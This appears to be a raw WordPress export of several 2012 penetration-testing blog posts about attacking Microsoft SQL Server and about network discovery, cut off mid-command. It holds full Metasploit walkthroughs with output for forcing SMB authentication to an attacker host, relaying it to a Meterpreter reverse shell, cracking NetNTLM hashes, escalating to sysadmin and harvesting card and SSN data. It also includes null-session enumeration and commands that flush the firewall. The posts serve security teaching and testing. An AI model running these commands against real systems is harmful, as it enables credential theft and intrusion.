How does this help us?  Both the xp_dirtree and xp_fileexist stored procedures can support more then just local drives.  They also support remote UNC paths (serverfile).  Also, everytime the SQL Server attempts to access a remote file server via a UNC path it automatically attempts to authenticate to it with the SQL Server service account.

The normal authentication process that would occur when a SQL Server accesses a remote file share via a UNC path looks something like the diagram below:

In most enterprise environments the SQL Server service is configured with a domain account.  What that means is an attacker could execute one of the prelisted stored procedures via SQL injection (or a valid SQL login) and relay the authentication to another database server to obtain a shell.  Alternatively, an attacker could simply capture and crack the hashes offline.  However, it should be noted that the SQL Server service can be configured with a number of different accounts.  Below is a table showing the basic account configuration options and potential attacks.

Service Account Network CommunicationSMB CaptureSMB Capture
NetworkServiceComputer AccountYesNo
Local AdministratorLocal AdministratorYesYes
Domain UserDomain UserYesYes
Domain AdminDomain AdminYesYes

Using Metasploit Modules to Capture and Crack Hashes

So now that you understand how the basics work, let’s walk through how to initate SMB authentication through SQL server with the intent of gathering and cracking credentials for later use.  In the diagram below, I’ve tried to illustrate what it would look like if an attacker initiated a connection from the SQL server to their evil server and captured hashes using a static nonce.

Img E A Ec

The attack scenario above can be automated using  the “auxiliary/server/capture/smb” and “auxiliary/admin/mssql/mssql_ntlm_stealer” Metasploit modules.  Below is a step by step example of how to capture and crack the credentials using those modules.

Systems for the scenario:

  • SQL  Server 1: 192.168.1.100
  • Attacker System: 192.168.1.102

1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the netntlm.pl script from the jumbo pack. They can be downloaded from http://www.openwall.com/john/.

C:>perl netntlm.pl --seed WINTER2 --file john_hashes.txt

…[TRUNCATED]…

Loaded 1 password hash (LM C/R DES [netlm]) WINTER2012 (sqlaccount) guesses: 1 time: 0:00:00:10

DONE (Mon Nov 26 10:59:56 2012) c/s: 428962 trying: WINTER204K - WINTER211IA

…[TRUNCATED]…

2. Run the same command again to obtain the case sensitive password.

C:>perl netntlm.pl --seed WINTER2 --file john_hashes.txt

…[TRUNCATED]…

Performing NTLM case-sensitive crack for account: sqlaccount. guesses: 1 time: 0:00:00:00 DONE (Mon Nov 26 11:01:54 2012) c/s: 1454 trying: WINTER2012 - winter2012 Use the "--show" option to display all of the cracked passwords reliably Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm]) Winter2012 (sqlaccount)

…[TRUCATED]…

If you’re interested in automating the process a little, Karl Fosaaen has created a PowerShell script to do it for you: https://github.com/NetSPI/PS_MultiCrack

Using Metasploit Modules to Relay SMB Authentication

Ok, now for the classic relay example.  Below is basic diagram showing how an attacker would be able to leverage a shared SQL Server service acccount being used by two SQL servers.  All that’s required is a SQL injection or a SQL login that has the PUBLIC role.

Img E A Ec

Now that we have covered the visual, let’s walkthrough the practical attack  using the mssql_ntlm_stealer module.  This can be used during penetration tests to obtain a meterpreter session on SQL Servers that are using a shared service account. Systems for the scenario:

  • SQL  Server 1: 192.168.1.100
  • SQL  Server 2: 192.168.1.101
  • Attacker System: 192.168.1.102

Configure and execute the "mssql_ntlm_stealer" Metasploit module against SQL Server 1:

msfconsole use auxiliary/admin/mssql/mssql_ntlm_stealer

set USE_WINDOWS_AUTHENT true

set DOMAIN DEMO

set USERNAME test

set PASSWORD Password12

set RHOST 192.168.1.100

set RPORT 1433

set SMBPROXY 192.168.1.102

msf auxiliary(mssql_ntlm_stealer) > run

[*] DONT FORGET to run a SMB capture or relay module!

[*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree…

[*] Received 192.168.1.100:1058 LVAsqlaccount LMHASH:feefee989 c0b45f833b7635f0d2ffd667f4bd0019c952d5a NTHASH:8f3e0be3190fee6b d17b793df4ace8f96e59d324723fcc95 OS:Windows Server 2003 3790 Service Pack 2 LM:

[*] Authenticating to 192.168.1.101 as LVAsqlaccount…

[*] AUTHENTICATED as LVAsqlaccount…

[*] Connecting to the ADMIN$ share…

[*] Regenerating the payload…

[*] Uploading payload…

[*] Created saEQcXca.exe…

[*] Connecting to the Service Control Manager…

[*] Obtaining a service manager handle…

[*] Creating a new service…

[*] Closing service handle…

[*] Opening service…

[*] Starting the service…

[*] Removing the service…

[*] Sending stage (752128 bytes) to 192.168.1.101

[*] Closing service handle…

[*] Deleting saEQcXca.exe…

[*] Sending Access Denied to 192.168.1.100:1058 LVAsqlaccount

[+] Successfully executed xp_dirtree on 192.168.1.100

[+] Go check your SMB relay or capture module for goodies!

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mssql_ntlm_stealer) >

[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.101:1059) at 2012-11-26 11:54:18 -0600

I know my text examples can be a little lame, so I’ve put together a video example to how this attack can be done via SQL injection.  Hopefully it can provide some additional insight into the attack process.

Wrap up

I would like to make it clear that none of these are original ideas. Techniques for initiating SMB relay attacks through SQL injection on database platforms like SQL Server have been around a long time. My hope is that the Metasploit modules can be used during penetration tests to help generate more awareness.  To those out there trying to do a little good with a little bad – have fun and hack responsibly!

[post_title] => Executing SMB Relay Attacks via SQL Server using Metasploit [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => executing-smb-relay-attacks-via-sql-server-using-metasploit [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:51:03 [post_modified_gmt] => 2021-06-08 21:51:03 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1179 [menu_order] => 401 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [47] => WP_Post Object ( [ID] => 1182 [post_author] => 17 [post_date] => 2012-11-20 07:00:59 [post_date_gmt] => 2012-11-20 07:00:59 [post_content] => In Microsoft SQL Server versions prior to 2008, local operating system admins where automatically assigned database admin privileges. Microsoft eventually came to the conclusion that this was a bad idea, and now local operating system administrators don’t automatically get database admin privileges. However, there are a few weaknesses in the implementation that allow the local administrators to bypass the current controls and (you guessed it) obtain database admin privileges. If you’re interested in the details I recommend reading my previous blog here. In this blog I’ll be providing a practical example that shows how the new Metasploit post module I created can be used to gain unauthorized access to SQL Server data.

Summary of Steps

  1. Obtain a Meterpreter shell
  2. Create a syadmin login
  3. Log into SQL Server
  4. Search for sensitive data
  5. Remove the sysadmin login

Obtain a Meterpreter Shell

There are many ways to get a Meterpreter shell, but in the example below I’ve used psexec.
root@bt:# msfconsole
msf> use exploit/windows/smb/psexec
msf> set SMBUSER eviladmin
msf> set SMBPASS MyOSadminpw!
msf> set SMBDOMAIN .
msf> set RHOST 192.168.1.100
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.30.134:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.100:445 as user 'eviladmin'...
[*] Uploading payload...
[*] Created srWVzGiR.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (HxjIGKLw - "MUmzqsreRIMABBqEIFRdqfUv")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting srWVzGiR.exe...
[*] Sending stage (752128 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.30.134:4444 -> 192.168.1.100:1028)
meterpreter >

Create a Sysadmin Login

Below is an example of how to configure and run the “mssql_local_auth_bypass” Metasploit module from the existing Meterpreter session to add a new sysadmin login.
meterpreter > background
msf exploit(psexec) > use post/windows/manage/mssql_local_auth_bypass
msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set DB_PASSWORD MyHardP@$$w0rd
DB_PASSWORD => mMyHardP@$$w0rd
msf post(mssql_local_auth_bypass) > set SESSION 1
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to add new login MyNewSysadmin...
[+] Successfully added login "MyNewSysadmin" with password "MyHardP@$$w0rd"
[*] Attempting to make MyNewSysadmin login a sysadmin...
[+] Successfully added "MyNewSysadmin" to sysadmin role
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >
Here is a video example showing how to create a SQL login with sysadmin privileges using the new module:

Log into SQL Server

Below is a basic example of how to log into an SQL Server with the new sysadmin login: Scott_S_SQL_Server_Bypass_1 Verifying with SQL Management Studio Express that we have sysadmin privileges: Scott_S_SQL_Server_Bypass_2

Search for Sensitive Data

With a little guidance from the community I was also able to put together another Metasploit module a while ago for finding sensitive data on SQL Servers. Below is a basic example of using our new sysadmin login to search for data on a database server. Key features of this module include searching based on keywords, setting a sample size, and exporting the results to a CSV file for auditing for easy bedtime reading.  I typically use it for finding credit cards, social security numbers, and passwords in SQL Server databases.  If you are interested in learning more about PCI specific stuff Chris wrote a nice blog here.
root@bt:# msfconsole
msf> use auxiliary/windows/mssql/admin/mssql_findandsampledata
msf> auxiliary(mssql_findandsampledata) > set PASSWORD MyHardP@$$w0rd
PASSWORD => superpassword
msf auxiliary(mssql_findandsampledata) > set USERNAME MyNewSysadmin
USERNAME => superadmin
msf auxiliary(mssql_findandsampledata) > set SAMPLE_SIZE 5
SAMPLE_SIZE => 5
msf auxiliary(mssql_findandsampledata) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.30.131
msf auxiliary(mssql_findandsampledata) > exploit
[*] Attempting to connect to the SQL Server at 192.168.1.100...
[*] Successfully connected to 192.168.1.100:1433
[*] Attempting to retrieve data ...
Here is a video example showing how to find sensitive data with the module:

Remove Sysadmin Login

Below is an example of how to remove the account when you’re finished searching for sensitive data.
msf post(mssql_local_auth_bypass) > set DB_USERNAME MyNewSysadmin
DB_USERNAME => MyNewSysadmin
msf post(mssql_local_auth_bypass) > set REMOVE_LOGIN true
REMOVE_LOGIN => true
msf post(mssql_local_auth_bypass) > exploit
[*] Running module against LVA
[*] Checking if user is SYSTEM...
[+] User is SYSTEM
[*] Checking for SQL Server...
[+] SQL Server instance found: MSSQLSERVER
[*] Checking for native client...
[+] OSQL client was found
[*] Attempting to remove login "MyNewSysadmin"
[+] Successfully removed login "MyNewSysadmin"
[*] Post module execution completed
msf post(mssql_local_auth_bypass) >
Here is a video example showing how to remove the sysadmin login with the module when your done:

Wrap Up

Hopefully the new auth bypass and the data scraping modules are helpful to someone. Both of them were accepted into the main Metasploit trunk so you should be able to simply update Metasploit to get them. If anyone has questions or comments, let me know. In the meantime, have fun and hack responsibly! [post_title] => SQL Server Local Authorization Bypass MSF Modules [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-local-authorization-bypass-msf-modules [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:54 [post_modified_gmt] => 2021-04-13 00:05:54 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1182 [menu_order] => 404 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [48] => WP_Post Object ( [ID] => 1185 [post_author] => 17 [post_date] => 2012-11-05 07:00:59 [post_date_gmt] => 2012-11-05 07:00:59 [post_content] => Antti and I had a great time presenting “SQL Server Exploitation, Escalation, and Pilfering” at the OWASP AppSec 2012 conference in Austin a few weeks ago. Thank you to everyone who came out. The attendance and feedback were very much appreciated. For those of you who couldn’t make it, we’ve put together this blog to provide access to the presentation slides, Metasploit modules, and demo videos we released at the conference.  Also, we'll be presenting it as a webinar on November 15, 2012.  You should be able sign up on the NetSPI website if you're interested. I would also like to call out that there were quite a few great talks at the conference. It sounds like the videos will be released in a few weeks. My guess is that they will let people know via www.appsecusa.org or the appsecusa Twitter feed. I recommend checking them out.

Presentation Summary and Slides

Below is a summary description our presentation slide deck. If you're interested in downloading it you can grab it from here or you can view it on Slideshare. During this presentation attendees will be introduced to lesser known, yet significant vulnerabilities in SQL Server implementations related to common trust relationships, misconfigurations, and weak default settings. The issues that will be covered are often leveraged by attackers to gain unauthorized access to high value systems, applications, and sensitive data. An overview of each issue, common vectors of attack, and manual techniques will be covered. Finally newly created Metasploit modules and TSQL scripts will be demonstrated that help automate the attacks. This presentation will be valuable to penetration testers who are looking for faster ways to gain access to critical data and systems. Additionally, it should be worth while for developers and database administrators who are interested in gaining a better understanding of how to protect their applications and databases from these attacks.

Metasploit Modules, Scripts, and Videos Released

  1. Microsoft SQL Server Authorization Bypass
    1. Metasploit Module (currently in Metasploit)
    2. Video Demo
  2. Microsoft SQL Server - Find and Sample Data
    1. Metasploit Module (currently in Metasploit)
    2. Original TSQL Script
    3. Video Demo
  3. Microsoft SQL Server NTLM Stealer
    1. Metasploit Module (currently in Metasploit)
  4. Microsoft SQL Server NTLM Stealer SQLi
    1. Metasploit Module (currently in Metasploit)
    2. Video Demo
  5. Microsoft SQL Database Link Crawler
    1. Metasploit Module (Submitted to Metasploit)
  6. Microsoft SQL Database Link Crawler SQLi
    1. Metasploit Module Download (Submitted to Metasploit)
    2. Video Demo
  7. Microsoft SQL Shared Services Script
    1. TSQL Script Download

Wrap Up

Eventually Antti and I will provide more detailed blogs for each of the attacks we included in the presentation.  My hope is that we'll also find the time to write some data scraper modules for database links. If anyone has any questions, comments, or corrections please feel free to contact me.   In mean time, have fun and hack responsibly. [post_title] => OWASP AppSec 2012 Presentation: SQL Server Exploitation, Escalation, and Pilfering [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => owasp-appsec-2012-presentation-sql-server-exploitation-escalation-and-pilfering [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:27 [post_modified_gmt] => 2021-04-13 00:06:27 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1185 [menu_order] => 407 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [49] => WP_Post Object ( [ID] => 1194 [post_author] => 17 [post_date] => 2012-08-16 07:00:59 [post_date_gmt] => 2012-08-16 07:00:59 [post_content] => Unlike previous versions, SQL Server 2008 and 2012 don't provide local system administrators with database administrator rights by default. This was a great idea by Microsoft to reinforce the practices of least privilege and separation of duties. However, in spite of the fact that their heart was in the right place, it was implemented in such a way that any local administrator (or attacker) can bypass the restriction. In most environments SQL Server 2008 and 2012 are installed on domain member servers and access is managed via domain groups. As a penetration tester, that means once I obtain Domain Admin privileges I can simply add myself to the database admin groups in active directory to get access. Once in a while I run across an SQL Server instance that is not managed via domain group or is not on the domain at all. That’s when the escalation method covered in this blog can be useful.

Vulnerability Overview

When SQL Server 2008 is installed the “NT AUTHORITYSYSTEM” account and the SQL Server service account are added to the “sysadmin” fixed server role by default. The “sysadmin” fixed server role is essentially the database administrators group. Any account that has been assigned the role will have complete control over the SQL Server and the associated data. Local administrators can obtain “sysadmin” privileges in two easy steps:
  1. Use psexec to obtain a cmd.exe console running as “NTAUTHORITYSYSTEM”.
  2. Use osql and a trusted connection to connect the local database with “sysadmin” privileges.
In SQL Server 2012,  “NT AUTHORITYSYSTEM” no longer has sysadmin privileges by default, but this restriction can be overcome by migrating to the SQL Server service process.

Attack Walkthrough

For those of you who want to test out the attack at home you can follow the steps below.
  1. Install SQL Server 2008 Express. Click. Click. Click. It can be downloaded from Microsoft at http://www.microsoft.com/en-us/download/details.aspx?id=1695
  2. Log into the Windows server as a local administrator that has not been assigned the “sysadmin” fixed server role.
  3. Run the following SQL query against the local server to check if the current user has been assigned the “sysadmin” fixed server role.osql –E –S “localhostsqlexpress” –Q “select is_srvrolemember(‘sysadmin’)”The -E switch authenticates to the SQL Server as the current user and does not require a password. The –S switch specifies the SQL Server instance. The query “select is_srvrolemember(‘sysadmin’)” will return a 1 if you have been assigned the “sysadmin” fixed server role, and a 0 if you haven’t.

    ss_sql_2008_blog_img1 Note: In some cases, the local administrator or local administrators group is added to the sysadmin group manually during the installation process. I don’t believe that’s what Microsoft intended, but it happens a lot none the less. If that's the case, this escalation process will not be necessary.

  4. Download psexec. It’s part of the sysinternals tool set and can be downloaded from Microsoft at: http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  5. Type the following command to obtain a “NT AUTHORITYSYSTEM” console with psexec:psexec –s cmd.exeNote: The -s switch tells psexec to run cmd.exe as “NT AUTHORITYSYSTEM” .  It does this by creating a new service and configuring it to run as “NT AUTHORITYSYSTEM”.
  6. Type the one of the following command to verify that you are running as “NT AUTHORITYSYSTEM”whoami or echo %username%
  7. Now run the same osql query as before to verify that you have “sysadmin” privileges. This time you should get a 1 back instead of a 0.osql –E –S “localhostsqlexpress” –Q “select is_srvrolemember(‘sysadmin’)"ss_sql_2008_blog_img2
  8. If you prefer a GUI tool you can also run management studio express as shown in the screenshots below. ss_sql_2008_blog_img3 ss_sql_2008_blog_img4 ss_sql_2008_blog_img5

Wrap Up

To stream line the process a little bit, I recently created a metasploit post module that will  escalate privileges and add a sysadmin to the target SQL server via an existing meterpreter session.  That module can be downloaded from my git hub account for those who are interested:  https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_local_auth_bypass.rb In spite of how easy it is to use this method to gain unauthorized access to databases it appears to be a requirement in SQL Server 2008. At least one Microsoft article stated “Do not delete this account or remove it from the SYSADMIN fixed server role. The NTAUTHORITYSYSTEM account is used by Microsoft Update and by Microsoft SMS to apply service packs and hotfixes…”.  So in some cases this boils down to missing patching vs. excessive privileges from risk perspective. My guess is that most companies are going to want to keep their servers patched.  :)  Regardless, hopefully this blog was informative and useful. As always, have fun, but hack responsibility.

References

[post_title] => SQL Server Local Authorization Bypass [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-local-authorization-bypass [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:55 [post_modified_gmt] => 2021-04-13 00:05:55 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1194 [menu_order] => 416 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [50] => WP_Post Object ( [ID] => 1198 [post_author] => 17 [post_date] => 2012-07-23 07:00:59 [post_date_gmt] => 2012-07-23 07:00:59 [post_content] =>

Introduction

Managing BackTrack R2 via SSH is usually all you need. However, sometimes I like to manage BackTrack from Windows using X11 so that I can also have access to the desktop. In this blog, I’ll show you how to do the same using SSH, PuTTY, and Xming. This should be useful to penetration testers and BackTrack enthusiasts. The steps that will be covered are listed below:
  1. Setup SSH in BackTrack
  2. Disable the firewall (optional)
  3. Enable X11 Forwarding
  4. Restart SSH
  5. Export DISPLAY
  6. Install and Configure Xming
  7. Install and Configure PuTTY
  8. SSH to BackTrack
  9. Install and run gnome-session
  10. Access desktop in Xming

A Little Background on X11

Without going into any detail, X11 is a X Windows system that allows users to access GUI applications remotely. However, users should be aware that the terms client and server are inverted in the context of X11. Meaning that the system that makes the request to run an application on the remote server is referred to as the X11 Server, and the system providing access to the application is referred to as the client. So, server=client and client=server.

Setup SSH in BackTrack

Now that we have the X11 history out of the way, let’s get SSH enabled in BackTrack. SSH is installed by default, so only a few commands are needed to get things rolling. First, generate the keys that will be used by the server:
  • sshd-generate
Next, start the ssh daemon. By default is will start up on port 22:
  • /etc/init.d/ssh start
Finally, configure ssh to start and boot time:
  • update-rc.d ssh defaults
For those who don’t know. You can get the IP address of the system via the ifconfig. For the sake of this blog let’s assume that the BackTrack system’s IP is 192.168.1.100. At this point I recommend verifing that you can actually connect to your BackTrack system via SSH. In use PuTTY in Windows or the stock ssh client.

Disable the Firewall

This section is NOT a requirement. However, some people like to go nuts and just drop their entire firewall if they are planning to get crazy. So if you feel your in the group, you can disable the default fire wall in Backtrack with the following IPTABLES commands:
  • IPTABLES -F
  • IPTABLES -X
  • IPTABLES -t nat -F
  • IPTABLES -t nat -X
  • IPTABLES -t mangle -F
  • IPTABLES -t mangle -X
  • IPTABLES -P INPUT ACCEPT
  • IPTABLES -P FORWARD ACCEPT
  • IPTABLES -P OUTPUT ACCEPT

Enable X11 Forwarding

Enable the following settings in the “/etc/ssh/ssh_config” file to enabled X11 forwarding.
  • ForwardAgent yes
  • ForwardX11 yes
  • ForwardX11Trusted yes

Restart SSH

Restart your SSH server or start it if it wasn’t running. Below is one option for restarting the service.
  • /etc/init.d/ssh restart
However, the Unbuntu community at large seems to prefer restarting services with the command below:
  • Service ssh –full-restart

Export DISPLAY

Set the “DISPLAY” variable to the IP of your X11 server (Windows system). The basic syntax is below.
  • export DISPLAY=
If your Windows system is 192.168.1.101, then the command would be:
  • export DISPLAY=192.168.1.101

Install and Configure Xming

Next, install the Xming X11 server.
  1. Download Xming from: Http://sourceforge.net/projects/xming/
  2. Follow the installation wizard.
  3. Double click Xlaunch icon.
  4. Choose “One window”.
  5. Click Next.
  6. Choose “Start no client”.
  7. Click Next.
  8. Click Next.
  9. Click Finish.
  10. Minimize the Xming window.

Install and Configure PuTTY

Next, install the full PuTTY package.
  1. Downlod the full .msi PuTTY install from: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
  2. Follow the installation wizard.
  3. Enter the IP or hostname of the X11 client (BackTrack system).
  4. Under “Connection”, expand the SSH setting and select X11.
  5. Check the “Enable X11 Forwarding” check box.
  6. Enter “locahost:0.0” into the “X display location”.
  7. Click the Session Category.
  8. Click Save.

SSH to BackTrack

  1. Open PuTTY.
  2. Select saved session.
  3. Click open.
  4. Enter username.
  5. Enter password.

Install and Run gnome-session

You can install gnome-session with the following command.
  • apt-get install gnome-session
Once installed run the command below to send a gnome desktop to your Xming server.
  • gnome-session
Please be aware that you are not limited to the gnome desktop. I only chose it as an example because I’ve had success with it in the past. You can also run individual X applications like xterm, Firefox, etc by running the commands in your SSH sessions.

Access Desktop with Xming

Now all you have to do is open the Xming window and you should have desktop access waiting for you. Whooray for stuff!

Wrap Up

In closing, don’t feel like you have to be limited to the SSH console in BackTrack. I know it’s “Uber l33t”, but sometimes its nice to have desktop access too. As always, have fun, but don’t forget to Hack Resposibly.

References

[post_title] => How to Remote Desktop to BackTrack 5 from Windows [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => how-to-remote-desktop-to-backtrack-5-from-windows [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:47 [post_modified_gmt] => 2021-04-13 00:05:47 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1198 [menu_order] => 420 [post_type] => post [post_mime_type] => [comment_count] => 3 [filter] => raw ) [51] => WP_Post Object ( [ID] => 1199 [post_author] => 17 [post_date] => 2012-07-16 07:00:59 [post_date_gmt] => 2012-07-16 07:00:59 [post_content] =>

Introduction

Occasionally clients require that all network and system discovery is done completely blind during internal pentests (meaning no IP addresses are provided). I know that a lot of people have been exposed to ping and port scan discovery techniques, but on large networks those methods alone can be pretty time consuming. So in this blog I thought I would provide some time saving options that can be used in conjunction with the traditional methods. This blog should be interesting to network administrators, security professionals, and anyone else who wants to learn a few more ways to blindly discover live subnets and systems. I realize that there are many methods that can be used to discover active networks and systems, but I won’t be able to cover all of them here. I’m actually perfectly sure that I don’t know them all anyways. Regardless, what I will cover are the 10 common discovery techniques listed below. They should build on each other in way that hopefully starts to make sense as you walk through the process.
  1. DHCP Information
  2. Sniffing Network Traffic
  3. ARP Broadcasting
  4. Net View
  5. DNS Zone Transfer
  6. DNS Lookups
  7. Domain Computer Accounts
  8. Trace Route
  9. Ping Scan Known Subnets
  10. Port Scans Known Subnets

Before We Start

I recommend maintaining two lists as you walk through the discovery methods below - one for live subnets and one for live systems. Ideally the live systems list should include the IP address and the host name for each live system. You may have to do a little parsing of the hosts to get a full list of the subnets, but it shouldn’t be too hard to script. When you finally get to the trace route and scanning techniques you’ll be able to leverage the lists as targets for further discovery.

Blind Discovery

Okey dokey, here we go…

DHCP Information

If DHCP is configured, it can provide a few pieces of information that are helpful when mapping the network. DHCP information can be viewed with IPCONFIG in Windows. You should be able to glean the following information.
  • IP address The DHCP IP address will give you at least one active subnet that can be used later to identify live systems and services via different scanning techniques.
  • Gateway IP Address The gateway IP address on your subnet is most likely addressed the same way on all of the subnets across the environment Combined with some basic ping scans this can be very useful for quickly enumerating live networks. For example, if your gateway is 192.168.72.3, then you may be able to identify other subnets by pinging 192.168.71.3, 192.168.70.3, etc.
  • DNS Server IP Address Similar to the gateway IP addresses, the DNS server IP addresses are commonly addresses the same way across all subnets.
  • Domain Name The domain is important, because it will help us quickly leverage DNS records and Active Directory computer accounts in later steps. If you’re interested in more ways to enumerate active domains I’ve provided 5 methods in a previously blog called Introduction to Windows Dictionary Attacks.

Sniffing Network Traffic

Sniffing is a great passive method for mapping networks and systems. Typically, you’ll see a lot of broadcast traffic such as DNS, NBNS, BROWSER, and Cisco protocols that reveal hostnames, active subnets, VLANS, and domain names. Also, sniffing can be a handy way to find a valid IP address if DHCP is not configured on the network. Usually after watching traffic patterns for a little bit you can determine a gateway and a subnet. Then, after a little trial and error, you should be able to assign yourself a static IP address that will allow you to conduct more active network mapping. Of course there are quite of few sniffing tools that can be used, but on Windows I like Wireshark, Network Miner, and Cain. Also, TCPDump and Tshark can be handy for scripting on both Windows and Linux. Regardless of the OS or tool you choose, make sure to sniff in promiscuous mode to help ensure that you don’t miss any network traffic. Below are basic examples for starting Tshark and TCPDump and writing the output to a file.
  • tcpdump -i eth1 -nnvvXS -w outputfile
  • tshark -i 1 -VV -w outputfile

ARP Broadcasting

Since we are on the general topic of broadcast traffic I think it makes sense to touch on ARP broadcasting briefly. Basically, sending out ARP requests for each IP address on a subnet and sniffing the responses is a quick way to determine live hosts. I like using Cain for this, but I’m sure there are other great tools out there as well. If you have one that you really like let me know and I’ll update this blog.

Net View

Net view is a native Windows command that can be used to quickly enumerate other Windows systems within your broadcast domain. Below are a few variations of the command.
  • net view
  • net view /ALL /Domain:demo.com
Note: Don’t forget to ping the hostnames for IP addresses and subnets. Also, keep in mind that sometimes you will need to ping the systems using their fully qualified domain names if you’re not on a domain system.

DNS Zone Transfer

A DNS zone transfer essentially allows a client system to obtain a copy of the DNS database for the target domain. For the sake of clarity, that means all of the IP address and DNS name mappings. Below are a few examples of zone transfer commands.
  • dig axfr Domain.com
  • dig @serverip axfr Domain.com
Note: Don’t forget to add the results to your system and network lists.

DNS SRV Queries

Even if you are not able to get a zone transfer to work there are often other DNS lookup options available. You should lookup all of the standard DNS records for completeness, but for quick results I like targeting SRV records. One example for quickly automating SRV record lookups has been listed below. Note: The “services.txt” file is just a list of service names pulled from the “C:windowsSystem32driversetcservices” file in Windows.
  • for /f “tokens=*” %i in ('type services.txt') do nslookup -type=SRV _%i._tcp.domain.com | grep -v "Server:" | grep -v "Address:" | grep -v "^$">> servers.txt

Domain Computer Accounts

Every computer attached to a Windows domain has a computer account that is registered with Active Directory. Each of those active directory computer accounts is named after the computername and appended with a “$”. So for example, if the computer name is “Workstation01”, then the associated computer account would be named “Workstation01$”. Thanks to this convenient naming convention we can get a list of systems and subnets associated with the domain. There are a number of ways to accomplish this goal, but I’m only going to provide one, because it’s usually the most successful.
  • Grab list of domain controllers from last step for each domain.
    • nslookup -type=SRV _ldap._tcp.
  • Create null session to each domain controller
    • Net use \ipc$ “” /user:””
  • Enumerate all domain user accounts.
    • ruby c:metasploitmsf3msfcli auxiliary/scanner/smb/smb_lookupsid SMBDomain=. MaxRID=10000 RHOSTS= E > domain_users.txt
  • Parse for users with $ at the end of their name, most if not all will be computer accounts.
    • grep -i "user=" domain_users.txt | gawk -F " " "{print $3}" | gawk -F "USER=" "{print $2}" | grep -i "$" | gawk -F "$" "{print $1}" | sort | uniq 2>nul 1> domain_users_clean.txt
  • Ping systems using fully qualified domain names to get IP Addresses. Where domainname.com is the target domain.
    • For /F “tokens=*”